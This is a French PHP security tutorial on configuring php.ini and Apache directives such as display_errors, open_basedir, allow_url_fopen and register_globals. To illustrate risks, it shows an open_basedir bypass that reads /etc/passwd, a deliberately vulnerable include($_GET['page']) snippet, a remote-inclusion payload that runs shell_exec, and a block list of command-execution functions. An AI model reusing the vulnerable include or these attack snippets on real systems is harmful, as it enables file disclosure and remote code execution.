Accueil
Rechercher:
sur developpez.com sur les forums
Forums | Tutoriels | F.A.Q's | Participez | Hébergement | Contacts
Accueil Conception Java DotNET Visual Basic  C  C++ Delphi MS-Office SQL & SGBD Oracle  4D  Business Intelligence
Club Emploi Blogs   TV   Dév. Web PHP XML Python Autres 2D-3D-Jeux Sécurité Windows Linux PC Mac
FORUM PHP FAQ PHP COURS PHP SOURCES PHP LIVRES PHP SCRIPTS PHP OUTILS PHP COMPARATIFS PHP TV Zend Framework

La configuration de PHP

Date de publication : 12/06/2007

Par julp (Autres articles)
 

Beaucoup trop de personnes négligent la configuration de PHP alors que bon nombre de ses paramètres de configuration ont une implication directe, et d'autres un peu moins, sur la sécurité de votre environnement. Certaines directives sont en revanche déconseillées et obsolètes. Faisons le point.


1. Introduction
2. Agir sur la configuration de PHP depuis Apache
3. Les directives
3.1. Liées à la sécurité
3.2. Les fonctionnalités obsolètes
3.3. Les paramètres de limitation
4. Conclusion
4.1. Récapitulatif
4.2. Epilogue


1. Introduction

Il faut tout d'abord distinguer deux cas bien distincts :
  • L'environnement de développement, où il est nécessaire d'avoir le plus d'informations possibles et où les performances ne sont pas réellement recherchées. Le développeur aura besoin d'obtenir les différents messages d'erreurs et de pouvoir évaluer le comportement de son site (tests) en temps réel exit les fonctions de cache et autres fonctionnalités du même acabit (sauf pour leurs propres développements bien sûr).
  • Le milieu de production est, quant à lui, bien plus rigoureux : la sécurité doit primer avant tout, suivi de très près par les performances pour assurer au mieux disponibilité et intégrité.
On peut éventuellement ajouter un état à mi-chemin des deux cités ci-dessus, que l'on appellerait de test ou de pré-production pour évaluer les performances avant une mise en situation réelle. Il n'y a cependant pas de configuration type d'autant plus qu'elle peut être amenée à être modifiée suivant la nature des essais menés.


2. Agir sur la configuration de PHP depuis Apache

Il n'est parfois pas intéressant de devoir modifier globalement le comportement de PHP en agissant sur le fichier php.ini. En effet, le changement apporté serait alors valable pour l'ensemble de vos scripts ce qui peut s'avérer à la fois dangereux et être à l'origine d'une baisse de performance générale.

Lorsque PHP est compilé en tant que module Apache, il vous offre alors la possibilité de redéfinir le comportement de certaines directives de manière locale, propre à un répertoire donné (ainsi que sa hiérarchie). Pour ce faire, l'administrateur du serveur peut définir directement ces nouvelles valeurs dans le fichier de configuration d'Apache et laisser également à ses utilisateurs la possibilité de les modifier selon leurs besoins via un fichier .htaccess à condition que le répertoire ciblé ait hérité de la valeur Options (ou All) pour la directive AllowOverride.

Notre administrateur emploiera soit php_admin_value/php_admin_flag s'il ne souhaite pas que les valeurs qu'il définit puissent être outrepassées par l'utilisateur et dans le cas contraire php_value/php_flag. En revanche, l'utilisateur dans son fichier .htaccess n'a pas le choix ce sera php_flag pour une directive attendant une valeur booléenne (type On/Off) et php_value dans tous les autres cas.

Exemple concret : pour un serveur en production pouvant héberger quelques sites sérieux, l'administrateur en charge de celui-ci souhaite confiner ses clients, c'est à dire leur restreindre chacun l'accès à une arborescence très précise du système de fichiers en leur laissant la possibilité de redéfinir certaines directives de configuration.

Dans le fichier de configuration d'Apache, l'administrateur pour limiter l'accès aux fichiers de chacun, définit, au niveau de la racine du site, les répertoires temporaires pour les sessions et les fichiers uploadés qui leur seront propres et active la fonctionnalité open_basedir pour le confinement :
<Directory /web/site1/online/>
    AllowOverride All
    php_admin_value upload_tmp_dir "/web/site1/offline/tmp"
    php_admin_value session.save_path "/web/site1/offline/sessions"
    php_admin_value open_basedir "/web/site1/"
</Directory>
Un utilisateur averti souhaitant pouvoir envoyer des fichiers plus volumineux qu'en temps normal dans sa partie administration (répertoire admin situé à la racine de son site) écrit donc son fichier .htaccess comme suit :
/web/site1/online/admin/.htaccess
php_value upload_max_filesize 4M
Toutes les directives ne sont pas modifiables par ces manières. La documentation de PHP recense toutes les directives avec les possibilités de redéfinition : par l'utilisateur dans son script via ini_set sont marquées PHP_INI_USER (incluant PHP_INI_ALL) ; par l'utilisateur par le biais d'un fichier .htaccess, PHP_INI_PERDIR et enfin par l'administrateur dans le fichier de configuration d'Apache, PHP_INI_SYSTEM.


3. Les directives


3.1. Liées à la sécurité

  • display_errors :

    Valeur recommandée en production : Off
    Valeur recommandée en développement : On

    Discussion : Pourquoi placer celle-ci dans la partie Sécurité ? Tout simplement parce qu'en plus de ne pas être esthétique vous fourniriez de précieuses informations à de potentiels attaquants pour un serveur en ligne. Par contre, lors de la phase de développement nous avons besoin de ces messages d'erreur pour apporter les corrections nécessaires.

    D'autres directives liées aux erreurs sont toutes aussi importantes :
    • log_errors : à positionner systématiquement sur On afin de garder une trace de toute erreur.

    • error_reporting : les types des erreurs à reporter. Valeur recommandée : E_ALL | E_STRICT pour les versions PHP 5 et E_ALL pour PHP 4.

    • html_errors : en production attribuez lui la valeur Off, la forme HTML des messages d'erreur est inutile d'autant plus que l'on se contente de les loguer. A l'inverse, la forme HTML convient au développement et on peut, en renseignant les directives docref_root et docref_ext, avoir directement les liens vers la documentation de la fonction à la source de l'erreur.

  • open_basedir :

    La fonctionnalité la plus intéressante en matière de sécurité proposée par PHP. Elle permet de limiter les opérations sur les fichiers à des répertoires bien précis. Il faut avouer qu'elle souffre parfois de problèmes très localisés de sécurité dus à des contrôles oubliés par les développeurs qui participent au développement de PHP et de ses extensions.

    Par contre, ne faites en aucun cas figurer le répertoire courant (désigné par .) dans cette directive pour des versions strictement inférieures à 4.4.5 et 5.2.0 car cela aurait pour effet d'annihiler cette protection. En effet, il suffirait alors de changer le répertoire courant avec la fonction chdir pour contourner cette restriction. Démonstration :

    Avec open_basedir = ".:/home/julp/www/:/tmp/"
    <?php
    chdir('/etc');                    // OK
    echo file_get_contents('passwd'); // OK
    ?>
    
    root:x:0:0:root:/root:/bin/bash
    bin:x:1:1:bin:/bin:/bin/sh
    daemon:x:2:2:daemon:/sbin:/bin/sh
    operator:x:11:0:operator:/var:/bin/sh
    nobody:x:65534:65534:Nobody:/:/bin/sh
    julp:x:1000:1000:Julp:/home/julp:/bin/bash
    mysql:x:76:1001::/home/mysql:/bin/bash
    sshd:x:77:77:system user for openssh:/var/empty:/bin/true
    ldap:x:78:78:system user for openldap:/var/lib/ldap:/bin/false
    
    Avec open_basedir = "/home/julp/www/:/tmp/"
    <?php
    chdir('/etc');                    // Echec
    echo file_get_contents('passwd'); // Echec
    ?>
    
    Warning: file_get_contents(): open_basedir restriction in effect. File(passwd) is not within the allowed path(s): (/home/julp/www/:/tmp/) in /home/julp/www/openbasedir.php on line 3
    Warning: file_get_contents(passwd): failed to open stream: Operation not permitted in /home/julp/www/openbasedir.php on line 3
    
    La fonction chdir a été revue à partir des versions citées plus haut pour ne plus être fonctionnelle en dehors des chemins couverts par open_basedir.

    N'omettez pas d'inclure les répertoires temporaires utilisés pour stocker les fichiers de sessions (session.save_path) et celui des fichiers uploadés (upload_tmp_dir) comme valeurs de cette directive. Voir de les individualiser pour vos différents sites.

  • expose_php :

    Valeur recommandée en production : Off
    Valeur recommandée en développement : On

    Discussion : actif (valeur On), PHP ajoute de lui-même un en-tête indiquant la présence de ce langage sur le serveur ainsi que sa version. Illustration :

    A On :
    HTTP/1.1 200 OK
    Date: Thu, 17 May 2007 17:44:32 GMT
    Server: Apache
    X-Powered-By: PHP/5.2.1
    Content-Type: text/html
    
    A Off :
    HTTP/1.1 200 OK
    Date: Thu, 17 May 2007 17:43:51 GMT
    Server: Apache
    Content-Type: text/html
    
    Renseignement que l'on peut obtenir en quelques lignes de code avec PHP et fr cURL notamment :
    header('Content-type: text/plain');
    $ch = curl_init('http://www.mon_serveur.fr/');
    curl_setopt($ch, CURLOPT_NOBODY, TRUE);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
    curl_setopt($ch, CURLOPT_HEADER, TRUE);
    $ret = curl_exec($ch);
    if (!$ret) {
        echo curl_error($ch);
    } else {
        echo $ret;
    }
    curl_close($ch);
    
    Donc à moins d'être constamment à jour, je vous conseille fortement de ne pas faire figurer cette information. De plus, à la longue cela pourrait vous faire économiser une partie de votre tafic.

    A noter également que suivant la configuration d'Apache au niveau de la directive ServerTokens, la version de PHP (parmi d'autres) peut apparaître à la ligne Server des en-têtes.

  • enable_dl :

    Valeur recommandée en production : Off
    Valeur recommandée en développement : Off

    Discussion : cette directive dépréciée et supprimée par l'arrivée prochaine de PHP 6 est généralement réservée aux développeurs d'extension pour qu'ils puissent tester plus facilement leur bon fonctionnement. Il faut impérativement la désactiver sur un serveur en production car il suffirait alors à quelqu'un d'uploader ou de compiler sur le serveur une extension php pour l'utiliser, et ce, que son but soit louable (disposer d'une extension qui n'est pas initialement proposée) ou non (outrepasser la configuration de PHP par exemple).

  • disable_functions et disable_classes :

    Discussion : elles attendent respectivement une liste de fonctions et de classes (séparées par des virgules) de base à interdire. En guise d'exemple, nous souhaitons interdire toutes les fonctions d'exécution de programmes externes :
    disable_functions = exec,passthru,popen,proc_close,proc_status,proc_nice,proc_open,proc_terminate,shell_exec,system
    
  • allow_url_fopen :

    Discussion : c'est une fonctionnalité très pratique mais à bannir dès lors que vous pensez qu'elle peut être mal employée et que vous ne possédez pas une version supérieure ou égale à 5.2.0, ce qui vous permettrait d'interdire l'inclusion directe de fichiers externes grâce à la directive allow_url_include. Qu'est-ce que j'entends par mal employée ? Un cas banal :
    index.php
    <?php
    /* A ne surtout pas faire !!! */
    define('PAGE_PAR_DEFAUT', 'accueil.php');
    
    if (!isset($_GET['page'])) {
        include(PAGE_PAR_DEFAUT);
    } else {
        include($_GET['page']);
    }
    ?>
    
    On peut donc faire exécuter un script distant simplement en modifiant l'URL : index.php?page=http://www.machine-hackee.fr/script_pirate.txt, script pouvant correspondre à :
    http://www.machine-hackee.fr/script_pirate.txt
    <?php
    echo 'On va à la pêche aux infos ...<br/>';
    phpinfo();
    echo 'Fichiers :<pre>';
    echo shell_exec('ls');
    echo '</pre><br/>Merci !';
    ?>
    
    Il est ainsi possible au pirate de faire tout ce qui lui plait : effacer votre base de données, naviguer dans vos fichiers, récupérer et utiliser à votre insu des données (adresses email), etc.

    Par contre, il serait préférable de fournir d'autres méthodes pour permettre l'interaction avec des serveurs applicatifs distants à vos utilisateurs dont l'extension cURL qui est un remplaçant de premier choix. Sauf si le but est précisément d'interdire toute communication avec l'extérieur (chose que l'on peut aussi appliquer et affiner avec un pare-feu).


3.2. Les fonctionnalités obsolètes

  • register_globals :

    Valeur recommandée en production : Off
    Valeur recommandée en développement : Off

    Discussion : cette directive est apparue avec la version 4.1.0 pour prendre ensuite une valeur à Off par défaut avec la version 4.2.0 et disparaîtra définitivement à la sortie de PHP 6. Les débutants apprécient énormément un environnement où celle-ci est à On car cela leur simplifie l'écriture et la compréhension d'un script mais engendre des effets de bord. Certaines variables peuvent se voir écrasées au niveau de leur valeur par des variables du même nom qui transiteraient par les méthodes externes (GET, POST, COOKIE, SESSION). Le développeur peut ainsi perdre des heures à débuguer un code à cause de cela et sans parler des personnes malveillantes qui pourraient facilement exploiter à leur profit cette fonctionnalité.

    Une utilisation non réfléchie de la fonction extract ou tout autre stratagème au même but sur des variables externes (GET, POST, ...) revient à activer cette fonctionnalité. On retrouverait ainsi strictement les mêmes problèmes que ceux cités ci-dessus.

  • register_long_arrays :

    Valeur recommandée en production : Off
    Valeur recommandée en développement : Off

    Discussion : ne concerne que les versions 5 de PHP (n'existera plus à la version 6), elle a pour but de recréer les tableaux globaux que l'on connaissait auparavant sous les noms $HTTP_*_VARS (exemple $HTTP_POST_VARS, désormais appelé $_POST). A désactiver pour des raisons de performance et pour éviter tout effet de bord. Certains scripts pourraient demander une réactivation de celle-ci, auquel cas il serait plus judicieux de le faire de manière localisée grâce à un fichier .htaccess.

  • magic_quotes_gpc :

    Valeur recommandée en production : Off
    Valeur recommandée en développement : Off

    Discussion : cette directive a pour but, lorsqu'elle est activée, d'appeler automatiquement la fonction addslashes en début de script sur les variables externes (méthodes GET, POST, COOKIE, SESSION, ...). Or, il serait beaucoup plus approprié de laisser le soin aux développeurs de traiter (et sécuriser) eux-mêmes les données en fonction de leur nature, de leur provenance et de leur finalité.

    L'exemple le plus courant est de construire une requête en fonction de données obtenues d'un formulaire. Pour se protéger des injections SQL, il faudrait échapper les caractères spéciaux du SGBD en question. Il faut savoir que chaque SGBDR propose une fonction d'échappement qui lui est propre et qui s'avère bien plus adéquate que addslashes qui est trop générique (certains caractères spéciaux ne seront pas échappés). Vous pouvez retrouvez toutes ces fonctions dans faq Comment se protéger des failles d'injection ?.

    Ce paramètre, ainsi que ses camarades (magic_quotes_runtime et magic_quotes_sybase qui ont un but semblable), sont vouées à une prochaine disparition avec PHP 6.

  • safe_mode :

    Discussion : le safe mode n'a de sûr que le nom. Certes, j'exagère quelque peu mais c'est un faux ami. Il effectue essentiellement des contrôles au niveau des propriétaires des fichiers avant de décider si oui ou non le script peut agir sur celui-ci (cela inclue une simple lecture). C'est trop efficace dans certains cas car Apache tournant sur un utilisateur dédié, il ne vous permettra pas de lire des fichiers qu'ils ne possèdent pas (des fichiers que vous avez uploadé par exemple) et inutiles pour tous les autres. Il faut préférer open_basedir, la seule directive maintenue dans la version 6 de PHP et qui est beaucoup plus stricte et claire à l'usage.


3.3. Les paramètres de limitation

Les valeurs de toutes les directives abordées ici devraient être fixées à une valeur minimale et être ajustées selon les besoins via un fichier htaccess. Modifier ces paramètres directement dans le fichier de configuration de PHP est une erreur puisque leur application sera globale, touchant ainsi l'ensemble des scripts.

Imposer des limites à un script permet dans un sens de garantir qu'un script buggé ne consommera pas toutes les ressources du serveur de manière indéfinie, principalement en temps d'exécution CPU ou en mémoire (qui n'a jamais réalisé une boucle infinie par erreur ?).
  • max_execution_time :

    Valeur par défaut : 30 secondes

    Discussion : les 30 secondes d'exécution par défaut font déjà beaucoup surtout quand la patience moyenne des usagers est estimée aux alentours de 15 secondes. Si vous atteignez cette limite, il vous est certainement possible de revoir vos traitements afin de les optimiser.

  • memory_limit :

    Valeur par défaut : 8 Mo

    Discussion : les 8 Mo par défaut deviennent maintenant un peu justes et on peut envisager de partir sur 16 Mo comme nouvelle base après audit de la consommation moyenne des scripts. Au delà, il vaut mieux la définir localement suivant les besoins réels (pour la partie administration par exemple).

  • upload_max_filesize : (post_max_size)

    Valeur par défaut : 2 Mo

    Discussion : le protocole HTTP n'est pas adapté au transfert de fichiers qui commencent à devenir importants, vous pouvez donc l'augmenter un peu si besoin mais il ne faut pas espérer uploader des fichiers imposants auquel cas des protocoles spécialisés, comme FTP, seront plus adéquats.

    Suivant la modification apportée à cette valeur vous pourrez avoir besoin d'augmenter également la valeur de la directive post_max_size (8 Mo par défaut) et max_execution_time pour permettre au script d'avoir le temps de récupérer le ou les fichiers dans leur intégralité.


4. Conclusion


4.1. Récapitulatif

Directive Développement Production
register_globals Off Off
register_long_arrays Off Off
display_errors On Off
log_errors On On
magic_quotes_gpc,
magic_quotes_runtime
magic_quotes_sybase
Off Off
error_reporting PHP 5 : E_ALL | E_STRICT
PHP 4 : E_ALL
E_ALL
expose_php On Off
enable_dl Off sauf cas particuliers Off
allow_url_fopen L'idéal est de faire du code portable ou de s'adapter à la configuration de production Off si elle peut être mal utilisée et si on ne dispose pas de allow_url_include
allow_url_include
(versions 5.2.0 et supérieures)
Off Off
html_errors On
Définissez les directives docref_root = "http://fr.php.net/manual/fr/" et docref_ext = .php par exemple pour utiliser directement la documentation en ligne.
Off

4.2. Epilogue

Vous avez maintenant toutes les informations nécessaires pour configurer avec un minimum de bon sens vos différents environnements. Il faut être conscient que chaque acte a des implications qu'il faut bien mesurer avant et c'est d'autant plus vrai avec un serveur en production que vous ne devez pas introduire d'éventuelles "brèches".



Valid XHTML 1.1!Valid CSS!

Copyright © 2007 julp. Aucune reproduction, même partielle, ne peut être faite de ce site et de l'ensemble de son contenu : textes, documents, images, etc sans l'autorisation expresse de l'auteur. Sinon vous encourez selon la loi jusqu'à 3 ans de prison et jusqu'à 300 000 E de dommages et intérêts. Cette page est déposée à la SACD.

Responsable bénévole de la rubrique PHP : Guillaume Rossolini - Contacter par EMail :
Vos questions techniques : forum d'entraide PHP - Publiez vos articles, tutoriels et cours
et rejoignez-nous dans l'équipe de rédaction du club d'entraide des développeurs francophones
Nous contacter - Copyright © 2000-2008 www.developpez.com - Legal informations.